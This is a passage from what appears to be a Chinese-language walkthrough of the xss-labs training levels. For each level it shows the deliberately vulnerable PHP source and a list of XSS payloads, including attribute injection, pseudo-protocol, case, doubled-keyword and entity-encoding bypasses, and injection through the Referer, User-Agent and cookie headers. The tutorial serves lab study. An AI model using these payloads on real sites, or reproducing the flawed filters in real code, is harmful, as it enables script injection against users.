echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
1
2
3
4
5
由于没有任何过滤,只需输入简单的js代码就可以通过,例如:
<script>alert("GGBOND");</script> //
<script>confirm("GGBOND");</script> //

注意:1.不要忘记写上分号 2.探测时最好用字符串探测(可以获取网页回显的信息->判断是什么类型的防护)

level2

类型:输入框类型

解题思路:
1.有输入框–>value->字符逃逸
2.输入测试语句->查看变化处的源码(重点关注value)

测试语句

1
<script>alter("123");</script>
  • 1.输入的语句没有缺失或者是改变

  • 2.未输入语句时 value=” “ ,输入后 有一部分橙色,一部分蓝色 ,一般来说,网页源代码橙色是值,蓝色是标签。

出现这种情况是因为没有闭合,导致标签混乱

解决方法:闭合value

*字符逃逸

1.仅仅输入 “ :

闭合了前引号

2.输入 “>

“ > 逃逸出input标签,下图为此时的页面渲染

所以只需在之后加上相应的语句即可通关

3.除了逃逸,还可以构造为input的属性

具体语句在下方源码分析

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; //keyword的值就是value的值,即变量$_GET赋值给$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
//使用转义函数(经常出现):htmlspecialchars($str) 将$str的值进行实例化转义 -->之后例子会进一步解释 注意:这里只是对输出的$str进行实例化转义
//htmlspecialchars() 是 PHP 中用于将特殊字符转换为 HTML 实体的函数,其主要作用是防止 XSS(跨站脚本攻击)
//htmlspecialchars() 默认会转义5个字符,其他字符不会转义
//" ' < > &
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
1
2
3
4
5
6
7
8
//注入语句
"><script>alert("GGBOND")</script> // 逃逸
" onclick='alert("GGBOND) //
" onfocus='alert("GGBOND") //
以上需要自主点击输入框
" autofocus='alert("GGBOND")' //
自动点击


level3

类型:输入框类型

解题思路:
进行初步分析:
1.输入测试语句(闭合与不闭合)
2.查看网页源码->value的情况
3.选中value的值,右键选中修改html

查看是否被实例化转义(指value的值)

1
注入语句:   "><script>alert("123");</script>

查看:

由上图可知,输入的语句被实例化转义后才作为value的值

在level2输入同样的语句并进行查看value

1
<script>alert(123);</script>

value的值没有被实例化转义,这就是level2 与 level3 最大的区别

细节:alert(实例化后的内容); 从这里就可以发现:输入字符串可以获得更多的回显信息

*默认Htmlspecialchars()函数

没有转义单引号,可以使用单引号闭合

1
2
3
4
5
6
7
8
注入语句:
//需要手动点击执行
' onclick='alert("123")' // 不要用双引号包裹,因为双引号会被转义
' onclick=alert("123") // 无引号包裹,仍然可以执行
' onfocus=console.log("123") // 控制台输出
//自动执行
autofocus=alert("123") //

问题:为什么不用引号包裹js函数仍然可以执行呢?

1
输入:' onclick=alert("123") //  

浏览器会自动补全引号,即浏览器的容错功能发挥作用

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//使用实例化转义函数,默认不会转义单引号
//htmlspecialchars($str,ENT_QUOTES) 就会转义单引号
//使用实体转义函数,默认不会转义单引号
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level4

类型:输入框类型

解题思路:

输入测试语句

1
<script>alert("123")</script>

检查是否被实例化转义

  • < > / 别替换为空
  • alert括号中的双引号没有没替换或是实例化转义,即没有过滤双引号
  • 输入的语句有橙色,蓝色部分(被浏览器当作标签)
  • alert括号内的第一个双引号与value的第一个双号闭合,之后的内容均被认定为标签

尝试闭合

闭合成功,但注入语句仍被该标签包含,不能发挥作用

*插入属性

由于< > / 均被过滤,插入一个完整的标签比较困难,可以选择插入属性

1
2
" onclick='alert("123")' //
用'无法闭合value的双引号

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0); //错误展示,0表示不展示错误,即服务器关闭错误回显
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //str_resplace("被替换字符","替换字符",变量)
$str3=str_replace("<","",$str2);
//没有使用 Htmlspecialchars函数对字符进行实例化转义
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


level5

解题思路:

类型:输入框类型

输入测试语句:

1
<script>alert("123")</script>
  • 括号内的双引号没有被替换或实例化转义
  • 括号内的双引号与value的双引号闭合
  • 分为橙色,蓝色蓝部分
  • script标签背替换

尝试闭合

  • 闭合后标签逃逸input标签
  • script标签被改变

既然标签被破坏,尝试注入属性

1
" onclick='alert("123")' //

onclick 属性也被替换

*伪协议

在 Web 安全中,“伪协议”(Pseudo-protocol)特指浏览器支持的某些特殊 URL 协议格式,它们并非真正的网络传输协议(如 http:// 或 https://),而是用于触发特定行为或执行代码。在 XSS(跨站脚本攻击) 场景中,伪协议常被用来绕过过滤规则,直接注入恶意脚本。

1.javascript:在 URL 中执行 XSS 攻击 -> JavaScript 代码 javascript:alert(1)
2.data:嵌入 Base64 编码的内容(HTML/脚本等过内容安全策略(CSP)-> data:text/html,[script]alert(1)[/script]
3.vbscript:在旧版 IE 中执行 VBScript 代码 IE 特定漏洞 -> vbscript:MsgBox(“XSS”)
4.about:显示浏览器内部信息或空白页面 -> about:blank

1
2
3
4
基本格式  javascript:JavaScript代码        //注意:若js代码有多行,用分号分割
若要进行编码绕过时,要对' :JavaScript代码 ' //注意:这一部分进行编码(包括冒号)-> 浏览器会自动解码
返回值为空,为避免因返回值影响页面行为 设置void(0)
<a href="javascript:void(0);alert(1)">点击</a>

常用语句:

1
2
3
4
<a href="javascript:alert('XSS')">点击触发</a>       				//注入 javascript: 触发点击执行
<iframe src="javascript:'alert(1)'"></iframe> //利用 javascript: 动态写入内容
<a href="jav&#x61;script:alert(1)">点击</a> //使用 URL 编码或 Unicode 绕过关键字过滤,解码即为javascript
<a href="javascript:void(0)" onclick="alert(1)">点击</a> //利用 onclick 事件覆盖 href 行为(需用户交互)
  • data协议:通过嵌入 Base64 编码的 HTML 或脚本,绕过某些过滤规则:
1
2
3
4
5
6
基本格式 data:[<MIME类型>][;charset=<字符集>][;base64],<数据内容>
1.MIME 类型:声明数据类型(如 text/html、text/javascript)。
2.Base64 编码:可选参数,用于编码二进制或特殊字符内容。
3.浏览器支持:现代浏览器广泛支持,但受 CSP(内容安全策略)限制。

攻击形式:参考以下常用语句

常用语句:

1
2
3
4
5
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">  		//object 标签的 data 属性注入 Base64 编码的脚本
<iframe src="data:text/html,<script>alert(1)</script>"></iframe></object> //iframe 的 src 属性,通过 data: 加载恶意 HTML
<iframe src="data:,<script>alert(1)</script>"></iframe> //省略 MIME 类型,某些浏览器允许省略 text/html 声明
<a href="data:text/javascript,alert(1)">点击</a> //结合 JavaScript 执行,直接通过 data: 执行 JS 代码

  • vbscript协议:仅适用于旧版 IE,执行 VBScript 代码
1
<a href="vbscript:MsgBox('XSS')">触发</a>
  • bout:通常用于加载空白页面,但可能结合其他漏洞利用
1
<iframe src="about:blank" onload="alert(1)"></iframe>

正式解题:

1
2
3
示例1:
"> <a href='javascript:alert("123")'> 1</a> //
解释:"闭合value的双引号,紧跟的>与"共同实现字符逃逸,使用<a>标签的属性href+js协议

网页源码:

页面渲染:

点击超链接‘1’,即可通关

1
2
3
示例2:
"><iframe src="javascript:alert(1)"></iframe> //
动态创建标签页面,当标签页面被创建时自动执行js代码

此时的页面渲染:

*趣事

此时你不断刷新页面,页面会不断弹框(刷新一次弹框一次)

对于js协议的剩下编码示例与onclick覆盖就不再演示,以下为具体输入语句:

1
2
3
"><a href="jav&#x61;script:alert(1)">点击</a> 
"><a href="javascript:void(0)" onclick="alert(1)">点击</a> //注意本题不可以使用onclik

对于编码,有需要的可以下载插件:CaptfEncoder,编码的作用在于可以绕过一些明文的过滤


源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
//使用str_replace替换字符 过滤了< 使用伪协议不会涉及<
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

//进一步解释实例化转义函数Htmlspecialchars()

// $str = "Tom's \"house\" & <garden>";
// echo htmlspecialchars($str); // 默认: Tom's&quot;house&quot; &amp; &lt;garden&gt;
// echo htmlspecialchars($str, ENT_QUOTES); // 转义单引号: Tom&#039;s &quot;house&quot; &amp; &lt;garden&gt;
// echo htmlspecialchars($str, ENT_NOQUOTES); // 不转义引号: Tom's "house" &amp; &lt;garden&gt;

?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

level6

类型:输入框类型

解题思路:

简化流程,由于是输入框类型,直接输入语句:

1
"><script>alert("123");</script>
  • 双引号没有被实例化转义或过滤
  • 实现了字符逃逸
  • script标签被替换
  • 使用onclick,也会被替换(自主测试,不演示)

过滤script则不用script,用伪协议

情况与level5类似,则选择语句:

1
">  <a href='javascript:alert("123")'>点击</a> //

此时的页面渲染

  • 标签实现逃逸
  • href 被替换

*大小写绕过

1
"><sCript>alert("123");</scRipt> 

成功通关

  • 疑问:为什么前面的关卡不使用大小写绕过呢?或是说为什么这关可以使用大小写绕过?代码分析解答

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str); //替换script标签
$str3=str_replace("on","o_n",$str2); //替换on
$str4=str_replace("src","sr_c",$str3); //替换src
$str5=str_replace("data","da_ta",$str4); //替换data
$str6=str_replace("href","hr_ef",$str5); //替换href
//常规的伪协议无法绕过
//
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
//这里存在两个很大的破绽:
//1.没有先实例化转义变量$str6,只是进行’部分有限‘的’黑名单‘标签替换,就拼接到value的值,
//2.str_replace函数默认区分大小写的且是严格匹配的(只有一样的字符才会被替换)
//1+2->大小写绕过

//前面的关卡中 level1根本没必要替换 level2在拼接value的值之前就实例化转义了 level3 level4 level5 同理
//为什么在拼接value的值之前就实例化转义了就无法使用大小写绕过呢?
//首先,输入框类型的重点在于如何处理value 1.闭合->逃逸 2.加属性
//加属性不需要讨论,要实现逃逸就要使用"闭合value,但"被实例化转义,因此大小写绕过不能实现,即都没有满足1,即使满足2,也无法实现大小写绕过
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>


level7

类型:输入款类型

解题思路:
输入测试语句:

1
"><script>alert("123");</script> 
  • script 被替换为空
  • 成功逃逸
  • 双引号没有别实例化转义或替换

输入语句:

1
"><sCript>alert("123");</scRipt> 
  • 两次测试结果一样,那就说明有点异样了
  • 说明被变量的英文字符被统一转为小写后再进行替换

输入语句:

1
"><a href='javascript:alert("123")'>点击</a>
  • 实现逃逸
  • javascript中的script被替换为空
  • 下面的 “”>” 实为原有input标签的后面部分–>浏览器的容错
  • href也替换为空

由以上的三次测试,发现闭合逃逸是可以实现的,只不过是某些标签和属性会被替换为空。

*双写绕过

输入语句:

1
2
"><scscriptript>alert("123");</scscriptript> 
" oonnclick='alert("123")'
  • 分析双写

scscriptript 第一次匹配从第三个字符开始,即sc script ript 删除后即为 script

对于其他伪协议等测试不不再测试(写得太累了(<!_!>))–>源码分析

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

//输入框类型中需要闭合value的类型实现双写绕过的三个条件:
//1.在拼接value之前,变量没有被实例化转义("会被实例化转义)
//2.对应字符别替换为空
//3.在整个过程中,只实现一次替换
//1+2+3->双写绕过

?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>


level8

类型:输入框类型

解题思路:

输入:test

  • 输入内容被拼接到超链接中->可以尝试伪协议

输入: javascript:alert(“123”)

  • javascript中的script被替换,且不是替换为空
  • 括号内的第一个双引号被实例化转义

(其他伪协议类型自主测试)

由上可知:

  • 括号内不应再使用双引号,尝试使用单引号

*编码绕过

原理:*补充知识 目录有解释

原语句:javascript:alert(“123”)
unicode 编码(16进制):

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0022&#x0031&#x0032&#x0033&#x0022&#x0029

成功绕过

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //统一转为小写->防止大小写绕过
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
//以上为替换字符
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
//添加链接使用了最为简单的方法:echo 加标签
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>


level9

类型:输入框类型

解题思路:

查看网页源码可知,可以尝试插入伪协议

但是,无论输入那种伪协议,网页源码始终为:

输入:

http://
至于为什么输入,全靠经验

输入:

123http://
http:// ashjdhj
以上语句都会被添加

  • 所以只要识别到http://就会添加(源码分析会解释)

*注释:

现在思考如何将 http://嵌入伪协议的js代码中而不影响其执行
->使用注释

// 在js中为单行注释
/**/ 在js中为多行注释

尝试输入:

javascript:alert(‘123’)/* http:// */
javascript:alert(‘123’)// http://

都可以被成功添加

  • script被替换且不为空->尝试大小写绕过

输入:

javasCript:alert(‘123’) /http:///

  • 可知变量被统一转为小写,后被替换

尝试:注释+编码

输入:

1
2
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0027&#x0031&#x0032&#x0033&#x0027&#x0029&#x0020&#x002f&#x002a&#x0068&#x0074&#x0074&#x0070&#x003a&#x002f&#x002f&#x002a&#x002f
上述为javascript:alert('123') /*http://*/ unicode编码的结果
  • 插入失败,这是为什么呢?

分析原因:

unicode编码后的字符会被浏览器自动解码,但是服务器不会解码(指后端没有对unicode解码的代码程序),所以后端代码接受到的是一堆‘奇怪’字符,由于没有严格识别到http:// ,所以不会将变量值拼拼接
解决措施:

对于javascript的script中任意(不限数量)字符进行unicode编码

输入语句:

1
2
javascrip&#x0074:alert('123') /*http://*/ 
t -> &#x0074

成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://')) //判断变量值是否存在字串 ‘http://’
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //存在则直接拼接
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>


level10

类型: url类型

解题思路:

输入一些测试语句(

但回显结果类似于:

  • 插入的语句被实例化,且无法准确有效地判断过滤特征或触发的行为结果–>可能就不是这个参数(keyword=)

*隐藏标签

1.一些网站的后端可以接受隐藏的input标签的参数
2.隐藏input标签的目的是:后端需要input的返回值,但有不想用户看见—>这种情况经常出现
3.hidden下的input标签的赋值往往是通过js代码的逻辑进行赋值,也存在通过post,get请求获取值

  • 与前面关卡不同的是:有大量隐藏的input标签(hidden)

测试使用get请求对隐藏的input标签赋值:

1
<script>alert(%27123%27);</script>&t_link=123&t_history=456&t_sort=789

回显结果:

总共有四个键值对,探测出第四个键值对可能存在xss

输入:

1
&t_sort="><script>alert("123");</script> 

键值对以&分割,不用担心keyword将后面的语句当作值

回显结果:

  • 回显的结果与第四关类似

输入语句:(插属性)

1
2
&t_sort=" onclick='alert("123")' type='text' //
onclick 需要自主点击,所以需要’显示‘

页面渲染:(多了一个输入文本框)

点击即可通关

*趣事

—–>有趣的是将括号里面的双引号改为单引号就无法成功插入
即输入:

1
&t_sort=" onclick='alert('123')' type='text'  //

分析: onclick=’alert(‘123’)’
1.浏览器将 前两个单引号看作一组即’alert(‘ –>转为双赢号,即”alert(“ (标签属性后面浏览器都会单引号转为双引号)
2.对于剩下的 ‘)’ ,不是任何属性的值,不将单引号转为双引号,被当作属性或标签呈现蓝色

  • 经验总结:使用多个相同的引号要注意浏览的识别规则

补充:自动点击测试

输入:

1
2
&t_sort=" onfocus='alert("123")' type='text ' autofocus"    
autofocus是独立属性

没有自动点击()原因是尾部存在双引号–>语法错误

测试:

1
2
3
4
5
&t_sort=" onfocus='alert("123")' type='text'  autofocus //
实为:<input name="t_sort" value="" onfocus='alert(123)' type="text" autofocus>

&t_sort=" onfocus='alert("123")' autofocus type='text'
实为:<input name="t_sort" value="" onfocus='alert(123)' autofocus type="text">

实现自动点击

因此,注入的语句最后在尾部加注释(具体情况具体分析)

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"]; // 接受t_sort的参数
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level11

类型:url类型

解题思路:

没有输入任何语句,检查页面:

  • 包含多个隐藏标签
  • 其中一个input标签存在值,是上一关注入的payload

删除level11关页面后,用目录页面访问level11关,回显结果为:

  • 分析得出,t_ref的值记录的是从个网址访问的
  • 可以推断出,后端将数据包中referer栏的地址拼接到value

*Referer

刷新页面,抓取数据包:修改数据包中的Referer,即可完成payload注入

修改为:

1
" onclick='alert("123")' type='text' //

页面渲染:

点击即可通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER']; //获取Referer
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22); //这里进行替换,可以选择插入属性
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level12

类型: url类型

与11关类似,不再过多演示

*HTTP_USER_AGENT

修改为:

1
2
3
4
5
6
" onclick='alert("123")' type='text' //  
上述语句失败-拼接value前双引号被实例化转义
继续修改:
" onclick=alert('123') type='text' //
成功绕过
细节:防止识别错误,除去alert两侧的单引号

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT']; //获取代理信息
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
//转义后再拼接
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>



level13

类型:隐藏标签

解题思路:

探测:

1
keyword=1&t_link=2&t_history=3&t_sort=4&t_cook=5

回显:

测试t_sort

1
&t_sort=" onclick='alert("123")' type='text' //

回显:

  • 双引号被实例化转义

其余测试payload也失败

抓取数据包修改cookie栏:

1
" onclick=alert('123') type='text' //

点击文本框成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"]; //获取cookie
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>



level14a

类型:

解题思路;

*PHP解析执行机制

PHP 解析机制:PHP 文件本质上是服务器端脚本文件,当服务器接收到对 PHP 文件的请求时,会先对其中的 PHP 代码进行解析和执行。 如果文件里有 HTML、CSS、JavaScript 代码,PHP 解析器会直接将这些非 PHP 代码原样输出给客户端。

输入:

1
<script>alert("123");</scritp>

script 别td 包含,无法执行js代码

输入:

1
2
<img src="x" onerror="alert('123')">      //页面加载触发
<img src="x" onmouseover="alert('123')"> //数标悬停触发

渲染:

通关成功

源码分析:


level14b

类型:文件上传

解题思路:

*EXIF

图片的 EXIF(Exchangeable Image File Format) 是嵌入在图片文件中的一组元数据(Metadata),记录了拍摄设备、拍摄参数、时间、地理位置等信息。它是数码照片的“数字身份证”,广泛应用于摄影、取证和图片管理
EXIF 包含的信息:

1.基础信息:

拍摄时间、日期
文件格式(如 JPEG、RAW)
文件大小和分辨率

2.设备参数

相机品牌和型号(如 Canon EOS 5D Mark IV)
镜头型号
序列号(部分设备)

3.拍摄参数

光圈值(F值)
快门速度
ISO 感光度
焦距(如 50mm)
白平衡模式
曝光补偿

4.地理位置

GPS 坐标(需设备开启定位功能)
海拔高度(部分设备支持)

4.其他信息

版权声明(作者信息)
缩略图预览
后期编辑软件(如 Photoshop 修改记录)

EXIF 的作用与用途
1.摄影学习
2.分析他人作品的拍摄参数(如光圈、快门),提升摄影技巧。
3.图片管理
4.按时间、设备分类整理照片。
5.版权保护
6.通过 EXIF 中的作者信息证明图片归属。
地理位置记录
7.旅行摄影时标记拍摄地点。
8.取证调查
9.验证图片真实性(如时间、设备是否匹配)。

问题与解决:
1.敏感信息泄露
GPS 坐标可能暴露家庭住址或常去地点。
2.清除 EXIF

分享图片前,使用工具删除 EXIF(如 Exif Purge)。

3.平台自动删除

微信、微博等社交平台上传图片时会默认清除 EXIF。

随便上传正常的照片:

